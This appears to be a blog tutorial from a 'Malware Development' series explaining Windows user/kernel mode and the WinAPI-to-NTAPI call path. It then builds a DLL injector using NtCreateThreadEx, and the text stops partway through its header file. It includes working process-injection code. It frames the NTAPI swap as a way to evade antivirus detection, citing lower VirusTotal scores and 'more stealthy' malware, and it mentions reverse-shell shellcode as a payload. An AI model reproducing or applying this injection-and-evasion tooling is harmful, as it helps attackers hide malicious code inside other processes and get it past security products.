# NTAPI Injection

<details>

<summary>Table of Contents</summary>

* [Foreword](#foreword)
* [Overview](#overview)
* [User and Kernel Mode](#user-and-kernel-mode)
* [Function Flow](#function-flow)
  * [Section Foreword](#section-foreword)
* [Issues](#issues)
* [Creating the Program](#creating-the-program)
* [Performing the Injection](#performing-the-injection)
* [References](#references)

</details>

## Foreword

I've created a video to go along with this blog post. To watch the current installment of our "[Malware Development](https://youtube.com/playlist?list=PL_z_ep2nxC57sHAlCcvvaYRrpdMIQXri1\&si=B1DpYjCZPxGiDR13)" series, see the link below:

{% embed url="<https://youtu.be/P1PHRcmPM7c?si=092z4Iz7dhDjVL77>" %}
Malware Development III: Native API
{% endembed %}

## Overview

You may know by now that there exists the WinAPI and the native API (otherwise known as the "NTAPI"). In this post, we're going to take a look at how the functions that you use; or have used, from the standard Windows API get translated into the lower-level NTAPI. After that, we'll program a super simple injector that will inject a DLL into our target process, except this time instead of using only WinAPI, we'll swap out one (1) function for its NTAPI counterpart. If you're looking for an example with *all* of the WinAPI swapped out for its NTAPI counterparts, check the article below—after reading this blog post first, of course:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/malware-development/process-injection/ntdll-for-process-injection/complete-ntdll-implementation>" %}
Full NTAPI Implementation
{% endembed %}

You may be asking what the point of this is. Why are we even removing the high-level abstraction(s) in the first place? Well, typically, the more and more wrappers we can remove from our malware, the more we can get away with in our exploits. Obviously, as time went on, defensive solutions easily caught on to this, and it's still easy to detect the use of these native API calls—especially with things like API Hooking and other techniques. However, we can still see that it *does* make a difference to use the NTAPI instead of the WinAPI. Take, for example, the DLL Injection example from the [previous blog](/nest/mal/dev/inject/dll-injection.md). If we submit this to VirusTotal, we can see that ten (10) vendors picked it up as malicious:

<figure><img src="/files/3NS682f60dvusWGgbQiD" alt="" width="563"><figcaption><p>WinAPI DLL Injection VT Scan</p></figcaption></figure>

If I take the exact same program but replace *some* of the WinAPI functions with their subsequent/respective lower-level NTAPI, we *should* see this number get lower.

<figure><img src="/files/Ep4ENeru5MpDeHECfKkA" alt="" width="563"><figcaption><p>NTAPI DLL Injection VT Scan</p></figcaption></figure>

We can see that our program[^1] indeed, *does* get a lower score. Also remember that we're just including a DLL as our payload, if we were to have some signatured shellcode like a reverse shell generated from `msfvenom`, our ratings would be *much* higher. Moreover, in the program above, I've only swapped out two (`2`) of the WinAPI functions with their NTAPI counterparts. Those being "`NtOpenProcess`" and "`NtCreateThreadExe`." Don't worry if that looks alien to you, we'll go over this soon.

{% hint style="danger" %}
You should be wary of uploading your malware/offensive tooling to a site like VirusTotal (VT) <mark style="background-color:orange;">if it's something you don't want to be shared with or examined by security vendors</mark>.
{% endhint %}

Some platforms like <mark style="background-color:orange;">VT will take your malware and share it with its partners for analysis and sample submission</mark>. <mark style="background-color:orange;">Their partners are contractually obliged to use the sample you've just submitted for internal security purposes only</mark> and for the purposes of bettering their antivirus engines, as well as detection. You can read more about this from the "[Sharing & Disclosure](https://docs.virustotal.com/docs/historic-privacy-policy#sharing--disclosure)" section of their "[Privacy Policy](https://docs.virustotal.com/docs/historic-privacy-policy)" section:

<figure><img src="/files/cRlFyQsyp0bMf3yW493G" alt=""><figcaption><p>VirusTotal's <a href="https://support.virustotal.com/hc/en-us/articles/115002168385-Privacy-Policy">Privacy Policy</a></p></figcaption></figure>

Even though the score difference doesn't seem *that* crazy, it's still knocking points off and making our malware more stealthy. To reiterate, we *only* replaced two (2) functions. Let's move on now that we know why using something like NTAPI would be a better alternative than the standard WinAPI. Before we do that, we need to understand the difference between "User mode" and "Kernel mode."

## User and Kernel Mode

We must spend ample time and effort understanding these "processor access modes" (i.e., "user mode" and "kernel mode") because you'll be hearing these two terms *all* the time during your malware development journey. And it's not without reason. A lot of things like Anticheats, Antiviruses, EDRs, etc. run in kernel mode; while others run in user mode. Running in kernel mode grants you access to all parts of the operating system, which if you're detecting and defending against malware, is a really important advantage to have. On the opposite side of the coin, malware that resides in ring zero (`0`) (kernel mode), i.e., bootkits/rootkits, etc., [is some of the most advanced malware there is](#user-content-fn-2)[^2].

> To protect user applications from accessing and/or modifying critical OS data, Windows uses two processor access modes (even if the processor on which Windows is running supports more than two): user mode and kernel mode. User application code runs in user mode, whereas OS code (such as system services and device drivers) runs in kernel mode. Kernel mode refers to a mode of execution in a processor that grants access to all system memory and all CPU instructions. Some processors differentiate between such modes by using the term code privilege level or ring level, while others use terms such as supervisor mode and application mode. Regardless of what it’s called, by providing the operating system kernel with a higher privilege level than user mode applications have, the processor provides a necessary foundation for OS designers to ensure that a misbehaving application can’t disrupt the stability of the system as a whole. \
> — [Windows Internals, Part I](https://www.amazon.ca/Windows-Internals-Part-architecture-management/dp/0735684189)

{% hint style="info" %}
`x86` and `x64` processors define four (`4`) privilege levels (or rings) to protect system code and data from being overwritten by accident or maliciously by code of lesser privilege. These rings help facilitate the "principle of least privilege" model.&#x20;
{% endhint %}

<figure><img src="/files/dtcrHG9v1FNDDRxxfCkf" alt=""><figcaption><p>PoLP from <a href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">Wikipedia</a></p></figcaption></figure>

&#x20;If we take a look at the following diagram that shows the hierarchy of these privilege rings, we can see that the Kernel resides in the highest-privileged level (`0`) and the applications we run, i.e., user-mode applications, reside on the lowest-privileged ring (`3`):

<figure><img src="/files/uswFTOCHDwkjVQEjlj8h" alt="" width="332"><figcaption><p>Privilege Rings</p></figcaption></figure>

If the kernel uses ring zero (`0`) and user applications use ring three (`3`), then what are rings one (`1`) and two (`2`) used for and why does Microsoft only use those aforementioned `0`/`3` rings?&#x20;

<table data-view="cards"><thead><tr><th></th><th></th><th></th></tr></thead><tbody><tr><td><code>RING</code>: <code>0</code></td><td></td><td>The Kernel. Has the highest permissions, has access to everything; can communicate directly with the hardware. If something breaks here, it could crash/brick the entire system.</td></tr><tr><td><code>RING</code>: <code>1</code>/<code>2</code></td><td></td><td>These rings are used by things like device-drivers and hypervisors. They offer an advantage that user-mode (ring 3) lacks. These rings are "mostly" privileged. These rings aren't typically used in x86.</td></tr><tr><td><code>RING</code>: <code>3</code></td><td></td><td>If you start an application, this is where it'll be. Things like your web browser, text editor, games, whatever, run in user-mode. This has the lowest-level of permissions. It allows for things like your games, browsers, editors, etc., to crash and not bring the entire system crumbling down with it. So to speak.</td></tr></tbody></table>

> The reason why Windows uses only two levels is that some hardware architectures, such as ARM today and MIPS/Alpha in the past, implemented only two privilege levels. Settling on the lowest minimum bar allowed for a more efficient and portable architecture, especially as the other x86/x64 ring levels do not provide the same guarantees as the ring 0/ring 3 divide.\
> — [Windows Internals, Part I](https://www.amazon.ca/Windows-Internals-Part-architecture-management/dp/0735684189)

## Function Flow

#### Section Foreword

Before diving into this section, I just want to let you know that I've created a blog post that goes super in-depth into the process of what happens in the kernel after a syscall has been invoked. It's quite advanced as it talks about things like MSRs and the various kernel routines, but if you're not deterred and if your thirst especially knows no bounds, then find that blog post attached below.&#x20;

{% content-ref url="/pages/bOXWDre6VXDLeXsyUApo" %}
[Windows System Calls](/nest/os/internals/syscalls.md)
{% endcontent-ref %}

{% hint style="info" %}
As a subtle warning, the blog post above is genuinely enormous. It's the largest blog post I've ever created so be warned, it's something you might have to read in chunks.
{% endhint %}

***

To get an idea of what happens when a function gets called, let's examine a typical function's flow path. When we use a standard WinAPI function like `WriteFile`, the Kernel doesn't execute that function immediately. Quite the opposite. The function goes on a Tolkien-esque trek before it finally *ends up* in kernel mode.&#x20;

<figure><img src="/files/mdeNShNp7eSVn6A0JwQc" alt=""><figcaption><p><code>WriteFile</code> flow from <a href="https://www.oreilly.com/library/view/learning-malware-analysis/9781788392501/8aa60d1d-3efa-48bf-8fdc-2e3028b0401e.xhtml">O'Reilly</a></p></figcaption></figure>

We can see that the program (the User Application) starts by calling the `WriteFile` function, which is exported from the `Kernel32.dll` library. This module is also responsible for exporting most, if not, all of the WinAPI functions we've been using up to this point. We already know this from the [DLL Injection](https://crows-nest.gitbook.io/crows-nest/malware-development/process-injection/dll-injection) blog post, specifically, the "[Creating the Program](https://www.crow.rip/crows-nest/mal/dev/inject/dll-injection#creating-the-program)" section:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/malware-development/process-injection/dll-injection#creating-the-program>" %}
Check it out here!
{% endembed %}

After `Kernel32.dll`, the function *then* goes into `ntdll.dll`. Well... what *is* that? `NTDLL` is the last big stop that your function makes before it crosses the threshold of kernel space. To actually make the jump, it will invoke one of the three (`3`) instructions: `syscall`, `sysenter`, or `int 0x2E`. `ntdll.dll` exports the "Native API" (`NTAPI`) just like `Kernel32` exposes most of the WinAPI to us. Let's examine a sample program like the one below:

{% code title="handle.c" %}

```c
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {

    if (argc < 2) {
        puts("usage: \"%s\" [PID]", argv[0]);
        return EXIT_FAILURE;
    }
    
    DWORD PID = atoi(argv[1]);
    HANDLE ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    printf("got a handle to the process: 0x%p\n", ProcessHandle);
    puts("press enter to exit");
    (void)getchar();
    CloseHandle(ProcessHandle);
    return EXIT_SUCCESS;
    
}
```

{% endcode %}

<mark style="background-color:orange;">At this point, you should know what this is doing</mark>. To resolve the API calls and *see* what NTAPI calls our WinAPI functions will eventually make, we can use an incredible tool called "[API Monitor](http://www.rohitab.com/apimonitor)":

{% embed url="<http://www.rohitab.com/apimonitor>" %}
API Monitor
{% endembed %}

However please note that there are countless ways to intercept calls and view them. Start by opening the API Monitor program (it's architecture-sensitive, so make sure you open the version that corresponds with the architecture you built your program for/on). It's important that we specify the modules for which we'd like to monitor API calls. Because we've used WinAPI for this program, let's choose `Kernel32.dll`:

<figure><img src="/files/t6KGnIylHF9rsTUr4ktO" alt=""><figcaption><p>Selecting <code>Kernel32.dll</code></p></figcaption></figure>

Once we've selected this, we can either go in and search for the specific functions (`OpenProcess` and `CloseHandle`), or we can just select a category of functions denoted by the folder/section names. `OpenProcess` belongs to the `System Services` `>` `Processes and Threads` section, and `CloseHandle` to the `Windows System Information` `>` `Handles and Objects` section. <mark style="background-color:orange;">You can actually see this from the MSDN</mark>:

<figure><img src="/files/7cTWYd5RumMV4y5wG5EO" alt=""><figcaption><p>Processes and Threads</p></figcaption></figure>

&#x20;So, with this in mind, let's select the necessary ones for us.

<figure><img src="/files/TNOyLjAHcFaXh21YKAfF" alt=""><figcaption><p>Selecting <code>Process and Threads</code></p></figcaption></figure>

<figure><img src="/files/FE38zdthZxa0mRBtMV8h" alt=""><figcaption><p>Selecting <code>Handles and Objects</code></p></figcaption></figure>

We also want to do the same thing for the `ntdll.dll` module:

<figure><img src="/files/pLZZKx3KzgKpYKdmF6U3" alt=""><figcaption><p>Selecting <code>Process and Threads</code> for <code>NTDLL</code></p></figcaption></figure>

With those finally selected, we can move on to attaching our process to this program. To start our program and see what functions it calls, we can configure our startup options in `File` `>` `Monitor New Process` and press `OK`:

<figure><img src="/files/VW0xRwC83pB0xk5jOsVZ" alt=""><figcaption><p>Setting Arguments</p></figcaption></figure>

A new command prompt opens up and our program halts at the "press enter to exit" part. More importantly, we can see that our `OpenProcess` call gets captured, and even *more* crucially, we can see the NTAPI counterpart for it:

<figure><img src="/files/mN4QRuzUloWyDbCemzv7" alt=""><figcaption><p><code>OpenProcess</code> calls <code>NtOpenProcess</code></p></figcaption></figure>

What an incredible program. We can see that our `OpenProcess` function gets translated into the lower-level `NtOpenProcess` NTAPI. Furthermore, this cool program shows us *the parameters* of this function as well.

> Hold on a minute, Crow. You said that `NtOpenProcess` was located in `ntdll.dll`, but the program is showing the module of this function as `kernelbase.dll`. Have you just been lying to us? You blaspheming milk-fed filth slug?
>
> — Literally everyone right now

Yes. Well, *sort of*. If we hover over the API call, we can 100% see that the function *itself* resides in `ntdll.dll`:

<figure><img src="/files/BbNM6Sz5J88zZSACWNwg" alt=""><figcaption><p><code>NtOpenProcess</code> in <code>ntdll.dll</code></p></figcaption></figure>

<figure><img src="/files/HJuBtc0e2wlZppbtwq92" alt=""><figcaption><p><code>NtOpenProcess</code> in <code>ntdll.dll</code></p></figcaption></figure>

So this begs the question then, what the *hell* is that "`kernelbase.dll`" thing and where did it come from? Well, `kernelbase` was made by Microsoft to act as a sort of "proxy" for your API calls. If we look at the documentation, we can see it being discussed here:

> As an example of functionality that we moved to low-level binaries, `kernelbase.dll` gets functionality from `kernel32.dll` and `advapi32.dll`. <mark style="background-color:orange;">This means that the existing binary now forwards calls down to the new binary rather than handling them directly</mark>... \
> — [MSDN](https://learn.microsoft.com/en-us/windows/win32/win7appqual/new-low-level-binaries)

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/win7appqual/new-low-level-binaries>" %}
Read more here!
{% endembed %}

So far our function has taken this path:&#x20;

1. `kernel32!OpenProcess`
2. `kernelbase!OpenProcess`
3. `ntdll!NtOpenProcess`

{% hint style="info" %}
Often, we can use the `<module>!<function>` syntax to denote that a certain function *comes from* a certain module. For example, we can denote `NtCreateThreadEx` with: `ntdll!NtCreateThreadEx`. For `OpenProcess` we can do `kernel32!OpenProcess`, and so on. You might also see "`kernel32.OpenProcess`", but I personally prefer the `"!"` syntax more.
{% endhint %}

<figure><img src="/files/ZCLAi9DlPAaUMYjqcaWH" alt=""><figcaption><p>Typical function flowpath</p></figcaption></figure>

There are many ways for us to see what the assembly stub of the `kernelbase` function looks like—and it's important for us to do this because it will also let us see how the function from `kernelbase` goes into `NTDLL`. I'll just use `x64dbg`, but you can very easily do this in `IDA`, `WinDbg`, etc. In the `Symbols` section, we can select the `kernelbase.dll` module, and search for the `OpenProcess` symbol:

<figure><img src="/files/CbGRCLtqKRrBCzcGGiKB" alt=""><figcaption><p><code>OpenProcess</code> within <code>kernelbase.dll</code></p></figcaption></figure>

Double-clicking that entry and then viewing this function in the ["Graph" mode](#user-content-fn-3)[^3] of x64dbg, we can see the following:

<figure><img src="/files/X9mbZGI1EXrpG9thzMmr" alt=""><figcaption><p><code>OpenProcess</code> graph</p></figcaption></figure>

From this, we can see the following instruction in the stub: `call qword ptr ds:[<NtOpenProcess>]`. *This* is the reference to the NTAPI inside of `ntdll.dll`. If we click on this function name, we can finally see how these functions fundamentally work and how NTAPI functions are called using their respective "System Service Numbers" (SSNs) or syscalls:

<figure><img src="/files/AA5A2AqoFWdOerbIOsB7" alt=""><figcaption><p><code>ZwOpenProcess</code> assembly stub</p></figcaption></figure>

In this case, the syscall number of this function (`0x26`) is moved into the `EAX` register and then the `syscall` instruction (or `int 0x2E`) is called—after which, the function is actually looked up and executed inside of the kernel. This is incredibly high level, but we'll go into more depth about this when we get to the "[System Calls ](/nest/mal/dev/inject/syscalls.md)" section. As we've seen so far, NTAPI functions are distinguished by names that begin with `Nt` or `Zw`. However, you can discern the category of a native function based on the 2-3 letter prefixes prepended before the function name:

<figure><img src="/files/noXaoywSgxXxytnIRmUS" alt=""><figcaption><p>Function groups from <a href="https://en.wikipedia.org/wiki/Windows_Native_API#Function_groups">Wikipedia</a></p></figcaption></figure>

In user mode, they're exported from `ntdll.dll`, and in kernel mode, from the `ntoskrnl` module. When these functions are executed, they will return a "`NTSTATUS`" value. However, please note that not all NTAPI functions result in a system call. In terms of the return values, there are a metric shit ton of them:

{% embed url="<https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55?redirectedfrom=MSDN>" %}
`NTSTATUS` Values
{% endembed %}

## Issues

The biggest thing you're going to realize when you start delving into the lower-level stuff is that most of it isn't documented and most of it is extremely unstable. The MSDN does have *some* examples and certain references to the Native API and its functions. However, Microsoft has left it in the hands of our incredible reverse-engineering brothers and sisters to dump and figure out the inner workings of these things. One of the more "practical" reasons why people don't just use the NTAPI is because since it's lower than the higher-level (and *reliable/easy-to-use*) API, it requires more fiddling to get it working right.&#x20;

The higher-level APIs provide a convenient and standardized interface to the underlying system. This makes it easier for developers to write software that works on multiple versions of Windows and reduces the likelihood of errors or compatibility issues. Microsoft definitely does take backward compatibility into consideration (and often prioritizes this), however, things can and most likely *will* change. From build version to build version, and *almost definitely* from OS version to OS version. From this site:

{% embed url="<https://web.archive.org/web/20230517120402/http://undocumented.ntinternals.net/>" %}
NTAPI Undocumented Functions
{% endembed %}

We can see some of the work that's gone into reconstructing these NTAPI functions and structures:

<figure><img src="/files/vYMQSaALJJYOnYCHtC8u" alt=""><figcaption><p><code>NtCreateProcess</code> from NTAPI Undocumented Functions</p></figcaption></figure>

{% hint style="warning" %}
If you try to visit <http://undocumented.ntinternals.net/>, and you're not able to reach it or even if you're having issues with the link I've embedded above (i.e. if you get a "404: File not found." error), you can go on [Internet Archive](https://archive.org/web/) and search for the link there and go to a snapshot to access it.
{% endhint %}

With the NTAPI covered and *some* of its potential issues acknowledged, let's begin the construction of our program.&#x20;

{% hint style="info" %}
Also, please note that the site above isn't *the only* resource you can use for finding these functions. Actually, sometimes it could be quite problematic for some if they use this, <mark style="background-color:orange;">especially if they only use this</mark>. <mark style="background-color:orange;">The site is rather old so you should also be aware that some things could be wrong/inaccurate</mark>. Therefore, I've linked some alternatives that you could use to get function syntaxes and kernel structures down below. Personally, I don't use Undocumented Internals anymore. I instead grab my function prototypes from the [PNHT](https://github.com/winsiderss/phnt) project and my structures either by manually dumping them or by using the beloved [Vergilius Project](https://www.vergiliusproject.com/).
{% endhint %}

{% tabs %}
{% tab title="Functions/Structures" %}
{% embed url="<https://github.com/winsiderss/phnt>" %}
PHNT
{% endembed %}

{% embed url="<https://processhacker.sourceforge.io/doc/globals_func_0x6e.html>" %}
Process Hacker Globals
{% endembed %}

{% embed url="<https://doxygen.reactos.org/d6/d9e/include_2reactos_2wine_2winternl_8h.html#a833be6af9ad0a386c3df67ea669becbb>" %}
ReactOS
{% endembed %}

{% embed url="<https://www.vergiliusproject.com/>" %}
Vergilius Project
{% endembed %}
{% endtab %}
{% endtabs %}

There are probably a lot more that I'm missing, but with just these, and the previous sites mentioned so far, you should be set. Again, reach out and seek other resources, don't rely on a single resource for everything—that will only come back to bite *you.*

## Creating the Program

As we mentioned previously, we'll just replace *one* (`1`) of the WinAPI functions within the old DLL injection program with its NTAPI counterpart. We *can* do it with all of the functions, definitely. However, this might get overwhelming *really* fast and we need to learn to walk before we can run. Remember, If you want to see an example of *all* of the WinAPIs replaced by their NTAPI counterparts, check the blog post below:

{% embed url="<https://www.crow.rip/crows-nest/malware-development/process-injection/ntapi-injection/complete-ntapi-implementation>" %}
Complete NTAPI Implementation
{% endembed %}

{% hint style="info" %}
A lot of these NTAPI functions require setup in the form of declaring certain structures, making function prototypes, or initializing certain things. The blog post above covers the structure setup and everything but I'll also cover it here so don't worry; I got your back.
{% endhint %}

Here's a typical WinAPI DLL injection program that you might find floating around the musty swamps of the internet (this is just the string-less and error-handling-less DLL injection program we programmed [a post ago](/nest/mal/dev/inject/dll-injection.md)):

{% code title="dll\_injection.c" %}

```c
#include <windows.h>
#include <stdio.h>

#define DLL L"crow.dll"

int main(int argc, char* argv[]) {

    SIZE_T  PathSize       = sizeof(DLL);
    SIZE_T  BytesWritten   = 0;
    DWORD   TID            = 0;
    DWORD   PID            = 0;
    PVOID   Buffer         = NULL;
    PVOID   p_LoadLibrary  = NULL;
    HANDLE  ThreadHandle   = NULL;
    HANDLE  ProcessHandle  = NULL;
    HMODULE Kernel32Handle = NULL;

    if (argc < 2) {
        printf("usage: \"%s\" <PID>", argv[0]);
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    ProcessHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, PID);
    Kernel32Handle = GetModuleHandleW(L"Kernel32.dll");
    p_LoadLibrary = GetProcAddress(Kernel32Handle, "LoadLibraryW");
    Buffer = VirtualAllocEx(ProcessHandle, NULL, PathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(ProcessHandle, Buffer, DLL, PathSize, &BytesWritten);
    ThreadHandle = CreateRemoteThread(ProcessHandle, NULL, 0, p_LoadLibrary, Buffer, 0, &TID);
    WaitForSingleObject(ThreadHandle, INFINITE);

}
```

{% endcode %}

By now, you should know the mechanisms behind this code like the back of your ankles. We can start now by swapping out one of the functions from here. I'm going to swap out `CreateRemoteThread` for `NtCreateThreadEx`. Let's look at the syntax for this. I'll be getting this information from a really good resource that was already included above, the PHNT files:

{% embed url="<https://github.com/winsiderss/phnt/blob/7c1adb8a7391939dfd684f27a37e31f18d303944/ntpsapi.h#L2233-L2245>" %}
`NtCreateThreadEx` Syntax
{% endembed %}

From the link above, we can see the following syntax we'll use to make a function prototype:

```cpp
NtCreateThreadEx(
    _Out_ PHANDLE ThreadHandle,
    _In_ ACCESS_MASK DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_ HANDLE ProcessHandle,
    _In_ PVOID StartRoutine, // PUSER_THREAD_START_ROUTINE
    _In_opt_ PVOID Argument,
    _In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
    _In_ SIZE_T ZeroBits,
    _In_ SIZE_T StackSize,
    _In_ SIZE_T MaximumStackSize,
    _In_opt_ PPS_ATTRIBUTE_LIST AttributeList
    );
```

We could just plop this into our source code, but this requires more setup from us before we can start tinkering with it. The biggest thing that we need to sort out right away, is the `POBJECT_ATTRIBUTE` and `PPS_ATTRIBUTE_LIST` structure pointers needed for the function. Those lines reference the `_OBJECT_ATTRIBUTE` and `_PS_ATTRIBUTE_LIST` structures. The "`P`" before them denotes that this parameter is a *pointer* to said structures.&#x20;

So, because our function requires these structures, we *have* to include them in our project. You *could* include everything in one file, and that's what I *used* to do, but it would be cleaner for us to just make a header file to store all of this stuff so we can just work on our injection program without the extra bloat everywhere. So, in a Visual Studio project, let's add a couple of files: `main.c` and `injection.c`. Also, let's make a new header file (`injection.h`) and include the following for now:

<figure><img src="/files/BksPTQqYSIUSsUFvDx3T" alt=""><figcaption><p>Current directory layout</p></figcaption></figure>

{% code title="injection.h" %}

```c
#ifndef _INJECTION_H
#define _INJECTION_H

#include <stdio.h>
#include <windows.h>

#define DLL L"C:\\path\\to\\your.dll"
#define OKAY(MSG, ...) printf("[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) printf("[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

typedef NTSTATUS(NTAPI* fn_NtCreateThreadEx) (
    _Out_    PHANDLE            ThreadHandle,
    _In_     ACCESS_MASK        DesiredAccess,
    _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
    _In_     HANDLE             ProcessHandle,
    _In_     PVOID              StartRoutine,
    _In_opt_ PVOID              Argument,
    _In_     ULONG              CreateFlags,
    _In_     SIZE_T             ZeroBits,
    _In_     SIZE_T             StackSize,
    _In_     SIZE_T             MaximumStackSize,
    _In_opt_ PPS_ATTRIBUTE_LIST AttributeList
    );

#endif // !_INJECTION_H
```

{% endcode %}

{% hint style="info" %}
We can use the `fn_Nt*` prefix to note the fact that this is a function prototype that we're defining here. Also, when we get the address of these functions, we can set them in variables with a `p_Nt*` prefix to denote that they are function pointers. For example:

{% code overflow="wrap" %}

```c
fn_NtCreateThreadEx p_NtCreateThreadEx = (fn_NtCreateThreadEx)GetProcAddress(hNTDLL, "NtCreateThreadEx");
```

{% endcode %}
{% endhint %}

If you followed the last blog post with our simple [DLL injection](/nest/mal/dev/inject/dll-injection.md), these macros shouldn't be alien to you. Now, you'll notice the issue of the structures I was talking about when you just put this code above into a header file:

<figure><img src="/files/PJ3CCdo250IcbaiDVZL3" alt=""><figcaption><p>Missing structures</p></figcaption></figure>

So, where can we find these structures? How do we know what members we need to include in our definitions? Well, we have two options here. Either we manually dump them ourselves, or, the more "sane" (but *less* fun) approach is to get them from sites like Vergilius, ReactOS, etc. I'll be using Vergilius for the `_OBJECT_ATTRIBUTES` structure. If we head to the site, and find the way to our current build of Windows, which you can get by issuing the `winver` command in a shell:

<figure><img src="/files/Y5OJbLKHbnGXOsJv6nAJ" alt=""><figcaption><p>Version 22H2, Build 19045</p></figcaption></figure>

We can start searching for structures, we'll query the `_OBJECT_ATTRIBUTES` structure, as shown here:

<figure><img src="/files/54Gzihf79RgoRWrb5iyW" alt=""><figcaption><p><code>_OBJECT_ATTRIBUTES</code> query</p></figcaption></figure>

We can then click on this, and see what the structure looks like.

<figure><img src="/files/4PvoAEQVutOHlsppTLq0" alt=""><figcaption><p><code>_OBJECT_ATTRIBUTES</code> syntax</p></figcaption></figure>

You can find this yourself in the link embedded below:

{% embed url="<https://www.vergiliusproject.com/kernels/x64/Windows%2010%20|%202016/2110%2021H2%20(November%202021%20Update)/_OBJECT_ATTRIBUTES>" %}
`_OBJECT_ATTRIBUTES`
{% endembed %}

<figure><img src="/files/cDJz5TiBpPllcUIKMigT" alt=""><figcaption><p>Added <code>_OBJECT_ATTRIBUTES</code> to the header file</p></figcaption></figure>

A thing you'll note is that I had to manually add in the `typedef` keyword before the struct, and then give this structure a name after the closing curly brace. I'll highlight all the things I had to change/add from the Vergilius paste above so that you know what you have to add as well:

<figure><img src="/files/jPtKyFEfwmonBkW8YMWK" alt=""><figcaption><p>Defining our structure</p></figcaption></figure>

With this now included and properly defined, we can see that one of the errors from the two (`2`) previously have been lifted!

<figure><img src="/files/8yhezbfCAz01hXamw5dT" alt=""><figcaption><p>Almost there...</p></figcaption></figure>

{% hint style="warning" %}
You may realize that my version of Windows shown, doesn't directly match with the version of Windows I yoinked this structure definition from in Vergilius. It may be the case that that'll happen to you as well. Again, use more than one resource. For us here, it doesn't matter too much. The structure's good even for my build but as we're approaching lower and lower levels, we need to be mindful of these things because if we have even one version mismatch, things might not work. Especially in the case of structures and system calls.
{% endhint %}

{% hint style="info" %}
Crow from the future here. Yeah, so [Vergilius has the structure for my version of Windows now](https://www.vergiliusproject.com/kernels/x64/Windows%2010%20|%202016/2210%2022H2%20\(May%202023%20Update\)/_OBJECT_ATTRIBUTES). You just have to be patient if you don't see the specific structure for your specific build of Windows; or classically, you *can* just dump it yourself.
{% endhint %}

With this next structure, `_PS_ATTRIBUTE_LIST`, unfortunately, it won't be as easy as searching it on Vergilius and copy-pasting it in. If we look for this structure on Vergilius, we'll see that it's not there — which means we'll have to use something else to get this structure. I found the following:

{% embed url="<https://github.com/Microwave89/createuserprocess/blob/master/createuserprocess/nttypes.h#L80-L83>" %}
`_PS_ATTRIBUTE_LIST`&#x20;
{% endembed %}

From the repository above, we can see that the `_PS_ATTRIBUTE_LIST` structure is as follows:

```c
typedef struct _PS_ATTRIBUTE_LIST {
	SIZE_T TotalLength;				/// sizeof(PS_ATTRIBUTE_LIST)
	PS_ATTRIBUTE Attributes[2];			/// Depends on how many attribute entries should be supplied to NtCreateUserProcess
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
```

But, we can't use this just yet. This structure also references another structure on the line: `PS_ATTRIBUTE Attributes[2];`. Because of this, we also need to grab the `_PS_ATTRIBUTE` structure, which we can find directly above the `_PS_ATTRIBUTE_LIST` structure from the resource below, as well:

{% embed url="<https://github.com/Microwave89/createuserprocess/blob/master/createuserprocess/nttypes.h#L70-L78>" %}
`_PS_ATTRIBUTE`&#x20;
{% endembed %}

```c
typedef struct _PS_ATTRIBUTE {
	ULONGLONG Attribute;				/// PROC_THREAD_ATTRIBUTE_XXX | PROC_THREAD_ATTRIBUTE_XXX modifiers, see ProcThreadAttributeValue macro and Windows Internals 6 (372)
	SIZE_T Size;					/// Size of Value or *ValuePtr
	union {
		ULONG_PTR Value;			/// Reserve 8 bytes for data (such as a Handle or a data pointer)
		PVOID ValuePtr;				/// data pointer
	};
	PSIZE_T ReturnLength;				/// Either 0 or specifies size of data returned to caller via "ValuePtr"
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
```

Now, after including these two structures in our header file, we're all set to begin programming and we don't see any annoying red lines.

{% code title="injection.h" %}

```c
#ifndef _INJECTION_H
#define _INJECTION_H

#include <stdio.h>
#include <windows.h>

#define DLL L"C:\\path\\to\\your.dll"
#define OKAY(MSG, ...) printf("[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) printf("[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

typedef struct _PS_ATTRIBUTE {
    ULONGLONG Attribute;				
    SIZE_T Size;						
    union {
        ULONG_PTR Value;				
        PVOID ValuePtr;					
    };
    PSIZE_T ReturnLength;				
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST {
    SIZE_T TotalLength;					
    PS_ATTRIBUTE Attributes[2];			
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;                                                        
    VOID* RootDirectory;                                                 
    struct _UNICODE_STRING* ObjectName;                                  
    ULONG Attributes;                                                    
    VOID* SecurityDescriptor;                                            
    VOID* SecurityQualityOfService;                                      
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef NTSTATUS(NTAPI* fn_NtCreateThreadEx) (
    _Out_    PHANDLE            ThreadHandle,
    _In_     ACCESS_MASK        DesiredAccess,
